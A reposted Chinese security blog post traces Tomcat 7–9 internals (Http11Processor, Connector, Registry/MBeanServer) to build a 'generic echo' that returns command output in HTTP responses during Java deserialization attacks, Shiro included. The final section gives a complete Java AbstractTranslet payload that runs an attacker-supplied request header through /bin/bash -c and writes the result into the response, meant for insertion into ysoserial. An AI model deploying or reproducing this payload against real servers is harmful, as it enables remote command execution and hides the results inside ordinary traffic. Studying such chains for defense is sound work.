转载

Tomcat通用回显学习

最近两个月都在写通用的Java漏洞利用框架没怎么跟进最新的技术文章,现在项目终于到了一个较为稳定的阶段终于有时间可以学习一下这两个月中的技术文章了。给我印象比较深刻的是 LandGrey李三kingkkLitch1threedr3am 几位师傅对于Tomcat通用回显方式的总结。最开始我没看几位师傅的文章自己调了一下,找到了 Litch1 、和 李三 师傅的回显思路,本篇主要用于记录个人的调试学习过程。

0x01 思考

在寻找解决方案前来思考一下具体的需求是什么,我个人的需求如下:

Shiro

以中间件为依托完成回显功能的优势是:

  • 跨平台通用
  • 原生支持性好,不会出现连接中断的现象

综上,可以看到我们需要一种在Tomcat Filter处理逻辑之前就将执行结果写入返回包的回显方式。

简单的写一个 servlet ,看一下Tomcat的调用栈。这里我调试的Tomcat版本为 8.5.47 ,不同的Tomcat版本处理逻辑相同,但是其中的部分数据结构有所改变。

Tomcat通用回显学习

为了保证类似 Shiro 这里 Filter 应用也可以完成回显,就需要在Tomcat执行该 Filter 之前将执行结果写入 response 中。所以核心的切入点就是跟踪 Http11Processor 的前后处理逻辑,尝试获取本次请求,并将结果写入返回包中。

0x02 寻找利用链

寻找利用链主要分为两步,获取本次请求、获取返回包。

2.1 获取返回包

首先查看 Http11Processor 处的逻辑:

Tomcat通用回显学习

主要是调用对应的适配器,并将 requestresponse 作为参数传入 service() 方法中。通过这一部分代码可以得出两点结论:

  • requestresponse 对象是在此之前就完成初始化的。
  • 此处使用了适配器模式,证明有多个 Processor 的执行逻辑是相同的。同时适配器的初始化也是在此前完成的,而适配器的初始化过程中必定存在将本次连接内容保存下来的属性。

向上跟踪一下 requestresponse 对象,发现是在 AbstractProcessor 抽象类的一个属性,且在构造函数中完成初始化:

Tomcat通用回显学习

Http11Processor 继承于 AbstractProcessor ,具体的继承树为:

Tomcat通用回显学习

Http11Processor 的构造方法中调用了父类的构造方法,完成 requestresponse 对象的初始化:

Tomcat通用回显学习

ok,目前我们已经知道 requestresponse 对象在什么地方完成的初始化,同时也知道了 request 对象中包含 response 对象,也就是说我们后面只需要关心如何获取 request 对象即可。接下来看一下是否有相关的方法可以调用到 request 这个 protected 对象:

Tomcat通用回显学习

AbstractProcessor 抽象类中提供了 getRequest() 方法来获取 request 对象,同时在 Request 类中也存在相应的方法获取到 Response 对象:

Tomcat通用回显学习

如果想要将执行结果写入返回包的包体中,调用 Response.doWrite() 方法即可,如果想要写到返回包包头中,调用 Response.setHeader() 方法即可。

总结一下,目前我们找了获取返回包并写入内容的调用链:

Http11Processor#getRequest() -> 
AbstractProcessor#getRequest() ->
Request#getResponse() ->
Response#doWrite()

2.2 获取Processor对象

在2.1中我们已经完成了回显的后半部分即获取 Response ,并将内容写入的部分,但是如果想要利用这个调用链,我们就必须继续向上跟踪,找到符合本次请求的 Http11Processor 对象。

想要寻找本次请求的 Http11Processor 对象,就需要从 Processor 对象的初始化看起,具体的初始化代码在 ConnectionHandler#process 中:

Tomcat通用回显学习

Tomcat通用回显学习

connnections 对象是 ConnectionHandler 中定义的一个Map,用于存放 socket-processor 对象。在这段代码中可以清楚的看到,首次访问时 connections 中并不存在 processor ,所以会触发 Processor 的初始化流程及注册操作。跟进 register() 方法,查看Tomcat是如何完成 Processor 注册的。

Tomcat通用回显学习

这段代码有个非常有意思的地方,我们可以注意到 register() 方法的关键就是将 RequestInfo 进行注册,但是在注册前会调用 rp.setGlobalProcessor(global); 我们来具体看一下 global 是什么:

Tomcat通用回显学习

Tomcat通用回显学习

可以看到 RequestGroupInfo 类中存在 RequestInfo 的一个列表,在 RequestInfosetGlobalProcessor() 方法中又将 RequestInfo 对象本身注册到 RequestGroupInfo 中:

Tomcat通用回显学习

所以 global 中所保存的内容和后面调用 Registry.registerComponent() 方法相同。也就是说有两种思路获取 Processor 对象:

  • 寻找获取 global 的方法
  • 跟踪 Registry.registerComponent() 流程,查看具体的 RequestInfo 对象被注册到什么地方了

两种方法对应了 Litch1李三 师傅的两种获取方式。

2.2.1 获取 global

想要获取 global 就需要获取到 AbstractProtocolAbstractProtocol 实现了 ProtocolHandler ,也就是说只要能找到获取 ProtocolHandler 实现类的方法就可以调用 AbstractProtocolConnectionHandler 静态类。依赖树如下:

Tomcat通用回显学习

所以调用链就变成了:

AbstractProtocol$ConnectionHandler ->
global ->
RequestInfo ->
Http11Processor#getRequest() -> 
AbstractProcessor#getRequest() ->
Request#getResponse() ->
Response#doWrite()

到此为止我们已经找到大半部分的调用链了,那如何找到获取 ProtocolHandler 的方法呢?这需要向下看,看具体调用时是如何触发的。Tomcat使用了 Coyote 框架来封装底层的socket连接数据,在 Coyote 框架中包含了核心类 ProtocolHandler ,主要用于接收 socket 对象,再交给对应协议的 Processor 类,最后由 Processor 类交给实现了 Adapter 接口的容器。

在调用栈中也可以看出这一流程:

Tomcat通用回显学习

这里直接跟进一下 CoyoteAdapter#service

Tomcat通用回显学习

这里主要负责将 org.apache.coyote.Requestorg.apache.coyote.Response 转换为 org.apache.catalina.connector.Requestorg.apache.catalina.connector.Response ,如果还未注册为notes,则调用 connectorcreateRequest()createResponse() 方法创建对应的 RequestResponse 对象。

而关键的调用为:

Tomcat通用回显学习

可以简单的理解一下: CoyoteAdapter 通过 connector 对象来完成后续流程的,也就是说在 connector 对象中保存着和本次请求有关的所有信息,较为准确的说法是在Tomcat初始化 StandardService 时,会启动 ContainerExecutormapperListener 及所有的 Connector 。其中 Executor 负责为 Connector 处理请求提供共用的线程池, mapperListener 负责将请求映射到对应的容器中, Connector 负责接收和解析请求。所以对于单个请求来说,其相关的信息及调用关系都保存在 Connector 对象中,从上面的代码中也可以看出一些端倪。所以直接看一下 Connection 类:

Tomcat通用回显学习

其中有public方法 getProtocolHandler() 可以直接获得 ProtocolHandler 。所以调用链就变成了:

Connector#getProtocolHandler() ->
AbstractProtocol$ConnectionHandler ->
global ->
RequestInfo ->
Http11Processor#getRequest() -> 
AbstractProcessor#getRequest() ->
Request#getResponse() ->
Response#doWrite()

就如上文所说, Connector 是在Tomcat初始化 StandardService 时完成初始化的,初始化的具体代码在 org.apache.catalina.core.StandardService#initInternal

Tomcat通用回显学习

而在初始化 StandardService 之前就已经调用 org.apache.catalina.startup.Tomcat#setConnector 完成 Connector 设置了:

Tomcat通用回显学习

所以再次梳理一下调用链:

StandardService ->
Connector#getProtocolHandler() ->
AbstractProtocol$ConnectionHandler ->
global ->
RequestInfo ->
Http11Processor#getRequest() -> 
AbstractProcessor#getRequest() ->
Request#getResponse() ->
Response#doWrite()

最终的问题就是如何获得 StandardService 了,这里可以利用打破双亲委派的思路,这一点在我写Java攻击框架时用过,就是利用 Thread.getCurrentThread().getContextClassLoader() 来获取当前线程的 ClassLoader ,从 resources 当中寻找即可。

具体的利用代码这里就不再赘述了,可以直接看 Litch1师傅分享出的代码 。

2.2.2 从Registry中获取

其实回顾一下2.2.1中所提到的内容,无非是从 Connector 入手拿到 ProtocolHandler 。其实再仔细看一下 Connector 类的依赖树就可以发现其实所有的参数并非是单独存放在这些类中的一个属性中的,而是都被注册到了 MBeanServer 中的:

Tomcat通用回显学习

Tomcat通用回显学习

所以其实更加通用的方式就是直接通过 MBeanServer 来获得这个参数。

我们在2.2中看到了 ConnectionHandler 是用 Registry.getRegistry(null, null).registerComponent(rp,rpName, null);RequestInfo 注册到 MBeanServer 中的,那么我们跟进看一下 Registry 类中有什么方法可以供我们获得 MBeanServer ,只要拿到了 MBeanServer ,就可以从其中拿到被注册的 RequestInfo 对象了。

Tomcat通用回显学习

Registry 类中提供了 getMBeanServer() 方法用于获得(或创建) MBeanServer 。在 JmxMBeanServer 中,其 mbsInterceptor 对象存放着对应的 MBeanServer 实例,这个 mbsInterceptor 对象经过动态调试就是 com.sun.jmx.interceptor.DefaultMBeanServerInterceptor 。在 DefaultMBeanServerInterceptor 存在一个 Repository 属性由于将注册的MBean进行保存,我们这里可以直接使用 com.sun.jmx.mbeanserver.Repository#query 方法来筛选出所有注册名(其实就是具体的每次请求)包含 http-nio-* (*为具体的tomcat端口号)的 BaseModelMBean 对象:

Tomcat通用回显学习

这里由于测试的关系只存在一个对象,在具体构造时可以直接遍历所有符合条件的情况。其中 object.resource.processors 中就保存着请求的 RequestInfo 对象,至此就可以通过 RequestInfo 对象的 req 属性来得到请求的 Response 对象,完成回显。

总结一下调用链:

Registry.getRegistry(null, null).getMBeanServer() ->
JmxMBeanServer.mbsInterceptor ->
DefaultMBeanServerInterceptor.repository ->
Registory#query ->
RequestInfo ->
Http11Processor#getRequest() -> 
AbstractProcessor#getRequest() ->
Request#getResponse() ->
Response#doWrite()

0x03 利用

具体的调用逻辑在2.2.1和2.2.2中都有总结,总体来说就是用反射一点点完成构造,这里我只罗列2.2.2中的方法,因为2.2.2的方法更为通用,可以经测试在Tomcat7、8、9中都可以使用。需要注意有以下几点:

  • Tomcat7及低版本Tomcat8(具体版本没有测试,实验用版本为8.5.9)中,在最终将结果写入Response时需要使用 ByteChunk 而非 ByteBuffer
  • Tomcat9及高版本Tomcat8(试验用版本为8.5.47)只能使用 ByteBuffer

最终的利用代码如下:

package com.lucifaer.tomcatEcho;

import com.sun.jmx.mbeanserver.NamedObject;
import com.sun.jmx.mbeanserver.Repository;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.coyote.Request;
import org.apache.tomcat.util.modeler.Registry;

import javax.management.MBeanServer;
import javax.management.ObjectName;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.nio.ByteBuffer;
import java.util.*;

/**
 * @author Lucifaer
 * @version 4.1
 */
public class Tomcat8 extends AbstractTranslet {
    public Tomcat8() {
        try {
            MBeanServer mBeanServer = Registry.getRegistry(null, null).getMBeanServer();
            Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
            field.setAccessible(true);
            Object mbsInterceptor = field.get(mBeanServer);

            field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
            field.setAccessible(true);
            Repository repository = (Repository) field.get(mbsInterceptor);
            Set<NamedObject> set = repository.query(new ObjectName("*:type=GlobalRequestProcessor,name=/"http*/""), null);

            Iterator<NamedObject> it = set.iterator();
            while (it.hasNext()) {
                NamedObject namedObject = it.next();
                field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("name");
                field.setAccessible(true);
                ObjectName flag = (ObjectName) field.get(namedObject);
                String canonicalName = flag.getCanonicalName();

                field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object");
                field.setAccessible(true);
                Object obj = field.get(namedObject);

                field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
                field.setAccessible(true);
                Object resource = field.get(obj);

                field = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
                field.setAccessible(true);
                ArrayList processors = (ArrayList) field.get(resource);

                field = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
                field.setAccessible(true);
                for (int i=0; i < processors.size(); i++) {
                    Request request = (Request) field.get(processors.get(i));
                    String header = request.getHeader("lucifaer");
                    System.out.println("cmds is:" + header);
                    System.out.println(header == null);
                    if (header != null && !header.equals("")) {
                        String[] cmds = new String[] {"/bin/bash", "-c", header};
                        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                        Scanner s = new Scanner(in).useDelimiter("//a");
                        String out = "";

                        while (s.hasNext()) {
                            out += s.next();
                        }

                        byte[] buf = out.getBytes();
                        if (canonicalName.contains("nio")) {
                            ByteBuffer byteBuffer = ByteBuffer.wrap(buf);
//                    request.getResponse().setHeader("echo", out);
                            request.getResponse().doWrite(byteBuffer);
                            request.getResponse().getBytesWritten(true);
                        }
                        else if (canonicalName.contains("bio")) {
                            //tomcat 7使用需要使用ByteChunk来将byte写入
//                            ByteChunk byteChunk = new ByteChunk();
//                            byteChunk.setBytes(buf, 0, buf.length);
//                            request.getResponse().doWrite(byteChunk);
//                            request.getResponse().getBytesWritten(true);
                        }

                    }
                }
            }

        }catch (Throwable throwable) {
            throwable.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

具体如何将其加入Ysoserial,可以参考 李三 师傅的方式 。

利用效果如下:

测试普通JSP

Tomcat通用回显学习

测试shiro

Tomcat通用回显学习

原文  https://lucifaer.com/2020/05/12/Tomcat通用回显学习/
正文到此结束
Loading...